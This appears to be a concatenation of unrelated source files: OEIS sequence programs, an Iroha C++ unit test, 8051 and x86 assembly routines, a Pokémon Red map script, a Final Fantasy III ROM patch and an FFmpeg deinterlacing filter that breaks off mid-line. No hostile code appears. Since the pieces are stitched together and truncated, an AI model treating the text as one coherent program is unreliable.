35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
; A021747: Decimal expansion of 1/743. ; Submitted by Jon Maiga ; 0,0,1,3,4,5,8,9,5,0,2,0,1,8,8,4,2,5,3,0,2,8,2,6,3,7,9,5,4,2,3,9,5,6,9,3,1,3,5,9,3,5,3,9,7,0,3,9,0,3,0,9,5,5,5,8,5,4,6,4,3,3,3,7,8,1,9,6,5,0,0,6,7,2,9,4,7,5,1,0,0,9,4,2,1,2,6,5,1,4,1,3,1,8,9,7,7,1,1 add $0,1 mov $2,10 pow $2,$0 div $2,743 mov $0,$2 mod $0,10
; A102348: Decimated primes: every 10th prime has been omitted. ; 2,3,5,7,11,13,17,19,23,31,37,41,43,47,53,59,61,67,73,79,83,89,97,101,103,107,109,127,131,137,139,149,151,157,163,167,179,181,191,193,197,199,211,223,227,233,239,241,251,257,263,269,271,277,283,293,307,311 mul $0,10 div $0,9 seq $0,40 ; The prime numbers.
; A305728: Numbers of the form 216*p^3, where p is a Pythagorean prime (A002144). ; 27000,474552,1061208,5268024,10941048,14886936,32157432,49027896,84027672,152273304,197137368,222545016,279726264,311665752,555412248,714516984,835896888,1118386872,1280824056,1552836312,1651400568,2593941624,2732256792,3023464536,3666512088,4204463544,4590849528,4792616856,5433211512,6623488152,6880682808,8266914648,9181846584,9501187032,11209345272,12714595704,13515286968,13927939416,14778272664,16117587576,17535471192,19552071384,20615902488,21161991096,28484401464,30546884376,34201530936 seq $0,2144 ; Pythagorean primes: primes of form 4*k + 1. pow $0,3 mul $0,216
/** * Copyright Soramitsu Co., Ltd. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0 */ #include <gtest/gtest.h> #include "ametsuchi/impl/tx_presence_cache_impl.hpp" #include "cryptography/public_key.hpp" #include "interfaces/common_objects/transaction_sequence_common.hpp" #include "interfaces/iroha_internal/transaction_batch_factory_impl.hpp" #include "interfaces/iroha_internal/transaction_batch_impl.hpp" #include "module/irohad/ametsuchi/mock_block_query.hpp" #include "module/irohad/ametsuchi/mock_storage.hpp" #include "module/shared_model/interface/mock_transaction_batch_factory.hpp" #include "module/shared_model/interface_mocks.hpp" using namespace iroha::ametsuchi; using namespace testing; /** * Fixture for non-typed tests (TEST_F) */ class TxPresenceCacheTest : public ::testing::Test { protected: void SetUp() override { mock_storage = std::make_shared<MockStorage>(); mock_block_query = std::make_shared<MockBlockQuery>(); EXPECT_CALL(*mock_storage, getBlockQuery()) .WillRepeatedly(Return(mock_block_query)); } public: std::shared_ptr<MockStorage> mock_storage; std::shared_ptr<MockBlockQuery> mock_block_query; }; /** * Fixture for typed tests (TYPED_TEST) */ template <typename T> class TxPresenceCacheTemplateTest : public TxPresenceCacheTest {}; using CacheStatusTypes = ::testing::Types<tx_cache_status_responses::Missing, tx_cache_status_responses::Rejected, tx_cache_status_responses::Committed>; TYPED_TEST_CASE(TxPresenceCacheTemplateTest, CacheStatusTypes); /** * @given hash which has a {Missing, Rejected, Committed} status in storage * @when cache asked for hash status * @then cache returns {Missing, Rejected, Committed} status */ TYPED_TEST(TxPresenceCacheTemplateTest, StatusHashTest) { shared_model::crypto::Hash hash("1"); EXPECT_CALL(*this->mock_block_query, checkTxPresence(hash)) .WillOnce( Return(boost::make_optional<TxCacheStatusType>(TypeParam(hash)))); TxPresenceCacheImpl cache(this->mock_storage); TypeParam check_result; ASSERT_NO_THROW(check_result = boost::get<TypeParam>(*cache.check(hash))); ASSERT_EQ(hash, check_result.hash); } /** * @given storage which cannot create block query * @when cache asked for hash status * @then cache returns boost::none */ TEST_F(TxPresenceCacheTest, BadStorage) { EXPECT_CALL(*mock_storage, getBlockQuery()).WillRepeatedly(Return(nullptr)); shared_model::crypto::Hash hash("1"); TxPresenceCacheImpl cache(mock_storage); ASSERT_FALSE(cache.check(hash)); } /** * @given hash which has a Missing and then Committed status in storage * @when cache asked for hash status * @then cache returns Missing and then Committed status */ TEST_F(TxPresenceCacheTest, MissingThenCommittedHashTest) { shared_model::crypto::Hash hash("1"); EXPECT_CALL(*mock_block_query, checkTxPresence(hash)) .WillOnce(Return(boost::make_optional<TxCacheStatusType>( tx_cache_status_responses::Missing(hash)))); TxPresenceCacheImpl cache(mock_storage); tx_cache_status_responses::Missing check_missing_result; ASSERT_NO_THROW( check_missing_result = boost::get<tx_cache_status_responses::Missing>(*cache.check(hash))); ASSERT_EQ(hash, check_missing_result.hash); EXPECT_CALL(*mock_block_query, checkTxPresence(hash)) .WillOnce(Return(boost::make_optional<TxCacheStatusType>( tx_cache_status_responses::Committed(hash)))); tx_cache_status_responses::Committed check_committed_result; ASSERT_NO_THROW( check_committed_result = boost::get<tx_cache_status_responses::Committed>(*cache.check(hash))); ASSERT_EQ(hash, check_committed_result.hash); } /** * @given batch with 3 transactions: Rejected, Committed and Missing * @when cache asked for batch status * @then cache returns BatchStatusCollectionType with Rejected, Committed and * Missing statuses accordingly */ TEST_F(TxPresenceCacheTest, BatchHashTest) { shared_model::crypto::Hash hash1("1"); shared_model::crypto::Hash reduced_hash_1("r1"); shared_model::crypto::Hash hash2("2"); shared_model::crypto::Hash reduced_hash_2("r2"); shared_model::crypto::Hash hash3("3"); shared_model::crypto::Hash reduced_hash_3("r3"); EXPECT_CALL(*mock_block_query, checkTxPresence(hash1)) .WillOnce(Return(boost::make_optional<TxCacheStatusType>( tx_cache_status_responses::Rejected(hash1)))); EXPECT_CALL(*mock_block_query, checkTxPresence(hash2)) .WillOnce(Return(boost::make_optional<TxCacheStatusType>( tx_cache_status_responses::Committed(hash2)))); EXPECT_CALL(*mock_block_query, checkTxPresence(hash3)) .WillOnce(Return(boost::make_optional<TxCacheStatusType>( tx_cache_status_responses::Missing(hash3)))); auto tx1 = std::make_shared<MockTransaction>(); EXPECT_CALL(*tx1, hash()).WillOnce(ReturnRefOfCopy(hash1)); EXPECT_CALL(*tx1, reducedHash()).WillOnce(ReturnRefOfCopy(reduced_hash_1)); auto tx2 = std::make_shared<MockTransaction>(); EXPECT_CALL(*tx2, hash()).WillOnce(ReturnRefOfCopy(hash2)); EXPECT_CALL(*tx2, reducedHash()).WillOnce(ReturnRefOfCopy(reduced_hash_2)); auto tx3 = std::make_shared<MockTransaction>(); EXPECT_CALL(*tx3, hash()).WillOnce(ReturnRefOfCopy(hash3)); EXPECT_CALL(*tx3, reducedHash()).WillOnce(ReturnRefOfCopy(reduced_hash_3)); shared_model::interface::types::SharedTxsCollectionType txs{tx1, tx2, tx3}; TxPresenceCacheImpl cache(mock_storage); auto batch_factory = std::make_shared<MockTransactionBatchFactory>(); EXPECT_CALL(*batch_factory, createTransactionBatch(txs)) .WillOnce(Invoke( [&txs]( const shared_model::interface::types::SharedTxsCollectionType &) -> shared_model::interface::TransactionBatchFactory:: FactoryResult<std::unique_ptr< shared_model::interface::TransactionBatch>> { return iroha::expected::makeValue<std::unique_ptr< shared_model::interface::TransactionBatch>>( std::make_unique< shared_model::interface::TransactionBatchImpl>( txs)); })); batch_factory->createTransactionBatch(txs).match( [&](const auto &batch) { auto batch_statuses = *cache.check(*batch.value); ASSERT_EQ(3, batch_statuses.size()); tx_cache_status_responses::Rejected ts1; tx_cache_status_responses::Committed ts2; tx_cache_status_responses::Missing ts3; ASSERT_NO_THROW(ts1 = boost::get<tx_cache_status_responses::Rejected>( batch_statuses.at(0))); ASSERT_NO_THROW(ts2 = boost::get<tx_cache_status_responses::Committed>( batch_statuses.at(1))); ASSERT_NO_THROW(ts3 = boost::get<tx_cache_status_responses::Missing>( batch_statuses.at(2))); ASSERT_EQ(hash1, ts1.hash); ASSERT_EQ(hash2, ts2.hash); ASSERT_EQ(hash3, ts3.hash); }, [&](const auto &error) { FAIL() << error.error; }); }
CONFIG: MOV TMOD,#1 ;CT0 no modo 1 MOV TH0,#0FCh ;valor para a recarga MOV TL0,#18h;valor para a primeira contagem SETB TR0 ;liga o CT0 SETB P1.0 LB1: JNB TF0,$ ;aguarda bit de ultrapassagem MOV TH0,#0D8h ;valor para a primeira contagem MOV TL0, #0F0h CLR TF0 ;apaga bit de ultrapassagem CLR P1.0 ;faz P1.0 = 0 LB2: JNB TF0,$ ;aguarda bit de ultrapassagem CLR TF0 ;apaga bit de ultrapassagem SETB P1.0 ;faz P1.0 = 1 MOV TH0,#0F2h ;valor para a recarga MOV TL0,#53h;valor para a primeira LB3: JNB TF0,$ ;aguarda bit de ultrapassagem MOV TH0,#0E4h ;valor para a primeira contagem MOV TL0, #0A8h CLR TF0 ;apaga bit de ultrapassagem CLR P1.0 ;faz P1.0 = 0 LB4: JNB TF0,$ ;aguarda bit de ultrapassagem CLR TF0 SETB P1.0 SJMP LB1 ;volta para LB1:
; Copyright (c) 2010 Matt Fichman ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in ; all copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, APEXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. default rel %define RSP_OFFSET 48 ; Stack pointer -- this should be the offset from the beginning of struct ; Coroutine to the "sp" attribute ; OS X prefixes all symbol names with '_', so to interoperate with C, we need ; to add '_' prefixes to all symbol names. This macro takes care of the ; required name mangling. %ifidn __OUTPUT_FORMAT__,macho64 %macro cglobal 1 global _%1 %define %1 _%1 %endmacro %macro cextern 1 extern _%1 %define %1 _%1 %endmacro %else %define cglobal global %define cextern extern %endif ; Windows and Linux/OS X have different calling conventions, so function ; arguments will be in different registers. %ifdef WINDOWS %define ARG0 rcx %define ARG1 rdx %else %define ARG0 rdi %define ARG1 rsi %endif cglobal Coroutine__swap ; Pointer to the current coroutine. Used by Coroutine__resume() to set the ; 'caller' of the coroutine that is being resumed, and by Coroutine__yield() to ; switch from the current coroutine to the caller. cextern Coroutine__current section .text Coroutine__swap: ; (from, to) ; Resume the coroutine passed in via ARG0 by saving the state of the current ; coroutine, and loading the other corountine's state. Then, 'return' to ; the caller of the other coroutine's yield() invocation. ; **** NOTE: If any of the 'push' instructions below change, then ; Coroutine.c must also be modified!!! mov [Coroutine__current], ARG1 ; Set the 'current coroutine' equal to ARG1 push ARG0 push rbp push rax push rbx push rcx push rdx push rsi push rdi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 mov [ARG0+RSP_OFFSET], rsp ; Save the sp for 'from' mov rsp, [ARG1+RSP_OFFSET] ; Restore the sp for 'to' pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rdi pop rsi pop rdx pop rcx pop rbx pop rax pop rbp pop ARG0 ret
; ; ZX Spectrum ZXMMC specific routines ; code by Alessandro Poppi ; ported to z88dk by Stefano Bodrato - Feb 2010 ; ; $Id: cs_high.asm,v 1.2 2015/01/19 01:33:11 pauloscustodio Exp $ ; ;------------------------------------------------------------------------------------ ; CHIP_SELECT HIGH subroutine. Destroys no registers. Entire port is tied to '1'. ;------------------------------------------------------------------------------------ ; PUBLIC cs_high INCLUDE "zxmmc.def" cs_high: push af ld a,255 out (OUT_PORT),a pop af ret
#include "server.h" /*! \mainpage QTracker-Server Documentation * * \section intro_sec Introduction * * This document describes all the C++ classes used in our QTracker-Server.<br> * There are no ads on this page, but due to the unforunate name of the software, * adblockers will disable some functionality. Disable it to view the webpage as * intended. * */ int main() { Server server(12321); server.start(); return 0; }
RocketHideoutB4F_Script: call RocketHideout4Script_45473 call EnableAutoTextBoxDrawing ld hl, RocketHideout4TrainerHeaders ld de, RocketHideoutB4F_ScriptPointers ld a, [wRocketHideoutB4FCurScript] call ExecuteCurMapScriptInTable ld [wRocketHideoutB4FCurScript], a ret RocketHideout4Script_45473: ld hl, wCurrentMapScriptFlags bit 5, [hl] res 5, [hl] ret z CheckEvent EVENT_ROCKET_HIDEOUT_4_DOOR_UNLOCKED jr nz, .asm_45496 CheckBothEventsSet EVENT_BEAT_ROCKET_HIDEOUT_4_TRAINER_0, EVENT_BEAT_ROCKET_HIDEOUT_4_TRAINER_1, 1 jr z, .asm_4548c ld a, $2d jr .asm_45498 .asm_4548c ld a, SFX_GO_INSIDE call PlaySound SetEvent EVENT_ROCKET_HIDEOUT_4_DOOR_UNLOCKED .asm_45496 ld a, $e .asm_45498 ld [wNewTileBlockID], a lb bc, 5, 12 predef_jump ReplaceTileBlock RocketHideout4Script_454a3: xor a ld [wJoyIgnore], a ld [wRocketHideoutB4FCurScript], a ld [wCurMapScript], a ret RocketHideoutB4F_ScriptPointers: dw CheckFightingMapTrainers dw DisplayEnemyTrainerTextAndStartBattle dw EndTrainerBattle dw RocketHideout4Script3 RocketHideout4Script3: ld a, [wIsInBattle] cp $ff jp z, RocketHideout4Script_454a3 call UpdateSprites ld a, $f0 ld [wJoyIgnore], a SetEvent EVENT_BEAT_ROCKET_HIDEOUT_GIOVANNI ld a, $a ldh [hSpriteIndexOrTextID], a call DisplayTextID call GBFadeOutToBlack ld a, HS_ROCKET_HIDEOUT_B4F_GIOVANNI ld [wMissableObjectIndex], a predef HideObject ld a, HS_ROCKET_HIDEOUT_B4F_ITEM_4 ld [wMissableObjectIndex], a predef ShowObject call UpdateSprites call GBFadeInFromBlack xor a ld [wJoyIgnore], a ld hl, wCurrentMapScriptFlags set 5, [hl] ld a, $0 ld [wRocketHideoutB4FCurScript], a ld [wCurMapScript], a ret RocketHideoutB4F_TextPointers: dw RocketHideout4Text1 dw RocketHideout4Text2 dw RocketHideout4Text3 dw RocketHideout4Text4 dw PickUpItemText dw PickUpItemText dw PickUpItemText dw PickUpItemText dw PickUpItemText dw RocketHideout4Text10 RocketHideout4TrainerHeaders: def_trainers 2 RocketHideout4TrainerHeader0: trainer EVENT_BEAT_ROCKET_HIDEOUT_4_TRAINER_0, 0, RocketHideout4BattleText2, RocketHideout4EndBattleText2, RocketHideout4AfterBattleText2 RocketHideout4TrainerHeader1: trainer EVENT_BEAT_ROCKET_HIDEOUT_4_TRAINER_1, 0, RocketHideout4BattleText3, RocketHideout4EndBattleText3, RocketHideout4AfterBattleText3 RocketHideout4TrainerHeader2: trainer EVENT_BEAT_ROCKET_HIDEOUT_4_TRAINER_2, 1, RocketHideout4BattleText4, RocketHideout4EndBattleText4, RocketHideout4AfterBattleText4 db -1 ; end RocketHideout4Text1: text_asm CheckEvent EVENT_BEAT_ROCKET_HIDEOUT_GIOVANNI jp nz, .asm_545571 ld hl, RocketHideout4Text_4557a call PrintText ld hl, wd72d set 6, [hl] set 7, [hl] ld hl, RocketHideout4Text_4557f ld de, RocketHideout4Text_4557f call SaveEndBattleTextPointers ldh a, [hSpriteIndex] ld [wSpriteIndex], a call EngageMapTrainer call InitBattleEnemyParameters xor a ldh [hJoyHeld], a ld a, $3 ld [wRocketHideoutB4FCurScript], a ld [wCurMapScript], a jr .asm_209f0 .asm_545571 ld hl, RocketHideout4Text10 call PrintText .asm_209f0 jp TextScriptEnd RocketHideout4Text_4557a: text_far _RocketHideout4Text_4557a text_end RocketHideout4Text_4557f: text_far _RocketHideout4Text_4557f text_end RocketHideout4Text10: text_far _RocketHideout4Text_45584 text_end RocketHideout4Text2: text_asm ld hl, RocketHideout4TrainerHeader0 call TalkToTrainer jp TextScriptEnd RocketHideout4BattleText2: text_far _RocketHideout4BattleText2 text_end RocketHideout4EndBattleText2: text_far _RocketHideout4EndBattleText2 text_end RocketHideout4AfterBattleText2: text_far _RocketHide4AfterBattleText2 text_end RocketHideout4Text3: text_asm ld hl, RocketHideout4TrainerHeader1 call TalkToTrainer jp TextScriptEnd RocketHideout4BattleText3: text_far _RocketHideout4BattleText3 text_end RocketHideout4EndBattleText3: text_far _RocketHideout4EndBattleText3 text_end RocketHideout4AfterBattleText3: text_far _RocketHide4AfterBattleText3 text_end RocketHideout4Text4: text_asm ld hl, RocketHideout4TrainerHeader2 call TalkToTrainer jp TextScriptEnd RocketHideout4BattleText4: text_far _RocketHideout4BattleText4 text_end RocketHideout4EndBattleText4: text_far _RocketHideout4EndBattleText4 text_end RocketHideout4AfterBattleText4: text_asm ld hl, RocketHideout4Text_455ec call PrintText CheckAndSetEvent EVENT_ROCKET_DROPPED_LIFT_KEY jr nz, .asm_455e9 ld a, HS_ROCKET_HIDEOUT_B4F_ITEM_5 ld [wMissableObjectIndex], a predef ShowObject .asm_455e9 jp TextScriptEnd RocketHideout4Text_455ec: text_far _RocketHideout4Text_455ec text_end
;; encoding: utf-8 ; ff3_command_window.asm ; ;description: ; command window related codes ; implements 'extra ability' feature ready mechanism ; ;version: ; 0.15 (2017-11-25) ;====================================================================================================== ff3_commandWindow_begin: INIT_PATCH $34,$986c,$99fd .ifdef BETA RET_TO_GET_COMMAND_INPUT .macro rts .endm .else RET_TO_GET_COMMAND_INPUT .macro jmp $99fd ;getCommandInput_next .endm .endif ;beta .ifdef BETA getPlayerCommandInput: .iPlayer = $52 .cursorId = $55 .pPlayer = $5b .playerOffset = $5f .beginningMode = $78ba ;08:backattack 01:escapable? 80:enemy surprise attack .selectedCommands = $78cf ;[4] .battleMode = $7ed8 ;------------------------------------- jsr drawEnemyNamesWindow ;9d9e .input_next: ldx <.iPlayer cpx #4 beq .drawHpWindow lda $7be1 jsr clearTargetBit ;$fd2c sta $7be1 jsr getPlayerOffset tay iny iny lda [.pPlayer],y lsr a bcc .not_jumping jsr setYtoOffset2F lda [.pPlayer],y sta $7e0f,x bne .drawHpWindow .not_jumping: lda #$ff sta .selectedCommands,x lda #0 sta $7e0f,x .drawHpWindow: jsr drawInfoWindow ;9ba2 jsr $a433 ;endCommandInputIfDone jsr getPlayerOffset ;a541 ldx <.iPlayer lda $7ce4,x beq .check_status0 pha lda #$23 jsr setYtoOffsetOf pla sta [.pPlayer],y lda #0 sta $7ce4,x .check_status0: ;98bd ldy <.playerOffset iny lda [.pPlayer],y and #$c0 ;dead|stone beq .check_status1 inc <.iPlayer inc $7ceb jmp .input_next .check_status1: ;98ce iny lda [.pPlayer],y lsr a and #$70 ; (paralyze | sleep | confuse) >> 1 beq .check_jumping jmp $a66c .check_jumping: ;98d8 bcc .create_commandWindow inc <.iPlayer bne .input_next .create_commandWindow: ;$98e3 jsr createCommandWindow ; $9a69 jsr setYtoOffset2E ;$9b9b lda #0 ldx #3 .init_action_params: sta [.pPlayer],y iny dex bne .init_action_params lda #$2c jsr setYtoOffsetOf lda [.pPlayer],y and #$f7 sta [.pPlayer],y tya clc adc #$13 tay lda [.pPlayer],y ;y:+3f beq .check_redraw_enemy_names jsr putCanceledItem ;$9ae7 .check_redraw_enemy_names: lda $7cf3 bne .move_character ;1st phase jsr drawEnemyNamesWindow ;9d9e lda #0 jsr call_2e_9d53 lda .battleMode and #$20 beq .check_surprise_attack jsr $a50b jmp getPlayerCommandInput .check_surprise_attack: lda .beginningMode ;$78ba bpl .wait_any_button rts .wait_any_button: jsr getPad1Input lda <inputBits beq .wait_any_button jsr createCommandWindow .move_character: ;9940 lda #2 jsr call_2e_9d53 ;fa0e lda <.iPlayer sta <$53 lda #0 sta <.cursorId sta <$24 sta <$25 sta <$1a jsr loadCursor ;8966 .input_wait:;9958 ldy #3 ;to keep input accepted in 3 frames interval .wait_loop: jsr ppud.await_nmi_completion dey bne .wait_loop lda #0 sta <$1b lda #3 sta <$46 jsr getInputAndUpdateCursorWithSound ;899e .inputCopy = $50 ;.invert = $18 .row = $23 lda #1 bit <.inputCopy bne .OnA lda #2 bit <.inputCopy bne .OnB bvs .OnLeft bpl .input_wait .OnRight: ldy #0 ldx <$25 bne .change_position sty <$24 inc <$25 bpl .input_wait .OnB: lda <.iPlayer beq .back_input_char jsr $9a42 .back_input_char: lda #1 bne .go_next_char ;jmp getCommandInput_next .OnLeft: ldy #1 ldx <$24 bne .change_position sty <$24 dey sty <$25 beq .input_wait .change_position: lda #8 bit $78ba ;backattack flag beq .back lda #4 bne .store_command .back: lda #5 .store_command: sta <.row tya eor <.row sta <.row .OnA: ;99c6 jsr requestSoundEffect05 ;9b7d ;v0.6.2 fix ;lda #0 ;sta <$18 ;<-- ;jsr clearSprites2x2 ;8adf jsr clearCursor0 ldx <.row lda $7400,x pha ldx <.iPlayer sta .selectedCommands,x lda <.row sta $7ac3,x pla ;commandId ;v0.6.3 ---> tax ;<--- asl a clc adc #LOW(commandWindow_handlers) sta <$19 lda #0 adc #HIGH(commandWindow_handlers) sta <$1a lda #$6c ;jmp (addr) sta <$18 ;99c7: jsr $0018 ;invoke commandWindowHandler (x = handlerIndex = commandId) ;$99fd ;getCommandInput_next: .go_next_char: pha lda <.iPlayer pha lda <$53 sta <.iPlayer lda #1 jsr call_2e_9d53 pla sta <.iPlayer pla beq .redraw jmp getPlayerCommandInput+3 ;986f .redraw: jmp getPlayerCommandInput ;986c clearCursor0: ;v0.6.2 fix lda #0 sta <$18 ;<-- jmp clearSprites2x2 ;8adf ;$9a16 ;======================================================================================================= ;original addresses ;commandWindow_nop = $9a68 ;01 ;commandWindow_OnForward = $a71c ;commandWindow_OnBack = $a750 ;commandWindow_OnFight = $a843 ;commandWindow_OnGuard = $a877 ;commandWindow_OnEscape = $a8ab ;commandWindow_OnSneakAway = $a8b5 ;commandWindow_OnJump = $a9ab ;09 ;commandWindow_OnA ;hacked ;commandWindow_OnGeomance = $aa22 ;commandWindow_OnInspect = $ab6e ;commandWindow_OnDetect = $ab07 ;commandWindow_OnSteal = $ab9f ;commandWindow_OnCharge = $ac65 ;commandWindow_OnSing = $acd0 ;commandWindow_OnIntimidate = $ad0c ;commandWindow_OnCheer = $ad6b ;13 ;commandWindow_OnItem = $adaf ;14 ;commandWindow_OnMagic = $b646 ;15 ;------------------------------------------------------------------------------------------------------ ; .org $9a16 ALIGN_EVEN commandWindow_handlers: .dw commandWindow_nop ;$9a68 .dw commandWindow_nop ;$9a68 .dw commandWindow_OnForward ;$a71c .dw commandWindow_OnBack ;$a750 .dw commandWindow_OnFight ;$a843 .dw commandWindow_OnGuard ;$a877 .dw commandWindow_OnEscape ;$a8ab .dw commandWindow_OnSneakAway ;$a8b5 .dw commandWindow_OnJump ;$a9ab .dw commandWindow_nop ;$9a68 .dw commandWindow_nop ;$9a68 .dw commandWindow_OnGeomance ;$aa22 .dw commandWindow_OnInspect ;$ab6e .dw commandWindow_OnDetect ;$ab07 .dw commandWindow_OnSteal ;$ab9f .dw commandWindow_OnCharge ;$ac65 .dw commandWindow_OnSing ;$acd0 .dw commandWindow_OnIntimidate ;$ad0c .dw commandWindow_OnCheer ;$ad6b .dw commandWindow_nop ;$9a68 .dw commandWindow_OnItem ;$adaf .dw commandWindow_OnMagic ;$b646 ;extra ; more commands can be added, as long as capacity here remains. .dw commandWindow_OnProvoke ;extra .dw commandWindow_OnDisorderedShot ;extra .dw commandWindow_OnAbyss ;abyss .dw commandWindow_OnRaid ;$9a40 ;======================================================================================================= getCommandInput_end: getCommandInput_free_end = $9a40 ;======================================================================================================= INIT_PATCH $34,$9a69,$9ae7 createCommandWindow: ;[in] .width = COMMAND_WINDOW_WIDTH ;original:5 .pPlayerBaseParam = $57 .playerOffset = $5f .beginningMode = $78ba .jobCommandList = $9b21 ;[out] .emptyCount = $38 .commandIdList = $7400 ;--------------------------------------------------- ldx #2 stx .commandIdList+4 inx stx .commandIdList+5 ldy <.playerOffset lda [.pPlayerBaseParam],y asl a asl a tay ldx #$fc .load_loop: lda .jobCommandList,y sta .commandIdList - $fc,x iny inx bne .load_loop jsr initTileArrayStorage ;.counter = $2d stx <.emptyCount ;stx <.counter lda #$fc .create_tiles: pha ldx #.width jsr initString pla tax lda .commandIdList - $fc,x inx ;cmp #$ff ;bne .load_command_name ; inc <.emptyCount ; lda #0 .load_command_name: tay txa pha INIT16 <$18,$8c40 tya .ifdef ENABLE_EXTRA_ABILITY jsr getExtraAbilityNameId .endif ldx #1 jsr loadString ldx #.width stx <$18 jsr strToTileArray lda #.width jsr offsetTilePtr pla ;counter bne .create_tiles lda #($0a - (.width + 1)) sta <$18 lda #$0a sta <$19 lda #3 sta <$1a jmp draw8LineWindow ;$9ae7: .endif ;beta ;------------------------------------------------------------------------------------------------------ ;FILEORG $68b00 .org $8b00 commandWindow_cursorPos: .cursorX = ($50 - ($08 * COMMAND_WINDOW_WIDTH)) .db $a8, .cursorX .db $b8, .cursorX .db $c8, .cursorX .db $d8, .cursorX RESTORE_PC ff3_commandWindow_begin
;***************************************************************************** ;* x86-optimized functions for yadif filter ;* ;* Copyright (C) 2006 Michael Niedermayer <michaelni@gmx.at> ;* Copyright (c) 2013 Daniel Kang <daniel.d.kang@gmail.com> ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" SECTION_RODATA pb_1: times 16 db 1 pw_1: times 8 dw 1 SECTION .text %macro CHECK 2 movu m2, [curq+t1+%1] movu m3, [curq+t0+%2] mova m4, m2 mova m5, m2 pxor m4, m3 pavgb m5, m3 pand m4, [pb_1] psubusb m5, m4 RSHIFT m5, 1 punpcklbw m5, m7 mova m4, m2 psubusb m2, m3 psubusb m3, m4 pmaxub m2, m3 mova m3, m2 mova m4, m2 RSHIFT m3, 1 RSHIFT m4, 2 punpcklbw m2, m7 punpcklbw m3, m7 punpcklbw m4, m7 paddw m2, m3 paddw m2, m4 %endmacro %macro CHECK1 0 mova m3, m0 pcmpgtw m3, m2 pminsw m0, m2 mova m6, m3 pand m5, m3 pandn m3, m1 por m3, m5 mova m1, m3 %endmacro %macro CHECK2 0 paddw m6, [pw_1] psllw m6, 14 paddsw m2, m6 mova m3, m0 pcmpgtw m3, m2 pminsw m0, m2 pand m5, m3 pandn m3, m1 por m3, m5 mova m1, m3 %endmacro %macro LOAD 2 movh %1, %2 punpcklbw %1, m7 %endmacro %macro FILTER 3 .loop%1: pxor m7, m7 LOAD m0, [curq+t1] LOAD m1, [curq+t0] LOAD m2, [%2] LOAD m3, [%3] mova m4, m3 paddw m3, m2 psraw m3, 1 mova [rsp+ 0], m0 mova [rsp+16], m3 mova [rsp+32], m1 psubw m2, m4 ABS1 m2, m4 LOAD m3, [prevq+t1] LOAD m4, [prevq+t0] psubw m3, m0 psubw m4, m1 ABS1 m3, m5 ABS1 m4, m5 paddw m3, m4 psrlw m2, 1 psrlw m3, 1 pmaxsw m2, m3 LOAD m3, [nextq+t1] LOAD m4, [nextq+t0] psubw m3, m0 psubw m4, m1 ABS1 m3, m5 ABS1 m4, m5 paddw m3, m4 psrlw m3, 1 pmaxsw m2, m3 mova [rsp+48], m2 paddw m1, m0 paddw m0, m0 psubw m0, m1 psrlw m1, 1 ABS1 m0, m2 movu m2, [curq+t1-1] movu m3, [curq+t0-1] mova m4, m2 psubusb m2, m3 psubusb m3, m4 pmaxub m2, m3 %if mmsize == 16 mova m3, m2 psrldq m3, 2 %else pshufw m3, m2, q0021 %endif punpcklbw m2, m7 punpcklbw m3, m7 paddw m0, m2 paddw m0, m3 psubw m0, [pw_1] CHECK -2, 0 CHECK1 CHECK -3, 1 CHECK2 CHECK 0, -2 CHECK1 CHECK 1, -3 CHECK2 mova m6, [rsp+48] cmp DWORD r8m, 2 jge .end%1 LOAD m2, [%2+t1*2] LOAD m4, [%3+t1*2] LOAD m3, [%2+t0*2] LOAD m5, [%3+t0*2] paddw m2, m4 paddw m3, m5 psrlw m2, 1 psrlw m3, 1 mova m4, [rsp+ 0] mova m5, [rsp+16] mova m7, [rsp+32] psubw m2, m4 psubw m3, m7 mova m0, m5 psubw m5, m4 psubw m0, m7 mova m4, m2 pminsw m2, m3 pmaxsw m3, m4 pmaxsw m2, m5 pminsw m3, m5 pmaxsw m2, m0 pminsw m3, m0 pxor m4, m4 pmaxsw m6, m3 psubw m4, m2 pmaxsw m6, m4 .end%1: mova m2, [rsp+16] mova m3, m2 psubw m2, m6 paddw m3, m6 pmaxsw m1, m2 pminsw m1, m3 packuswb m1, m1 movh [dstq], m1 add dstq, mmsize/2 add prevq, mmsize/2 add curq, mmsize/2 add nextq, mmsize/2 sub DWORD r4m, mmsize/2 jg .loop%1 %endmacro %macro YADIF 0 %if ARCH_X86_32 cglobal yadif_filter_line, 4, 6, 8, 80, dst, prev, cur, next, w, prefs, \ mrefs, parity, mode %else cglobal yadif_filter_line, 4, 7, 8, 80, dst, prev, cur, next, w, prefs, \ mrefs, parity, mode %endif %if ARCH_X86_32 mov r4, 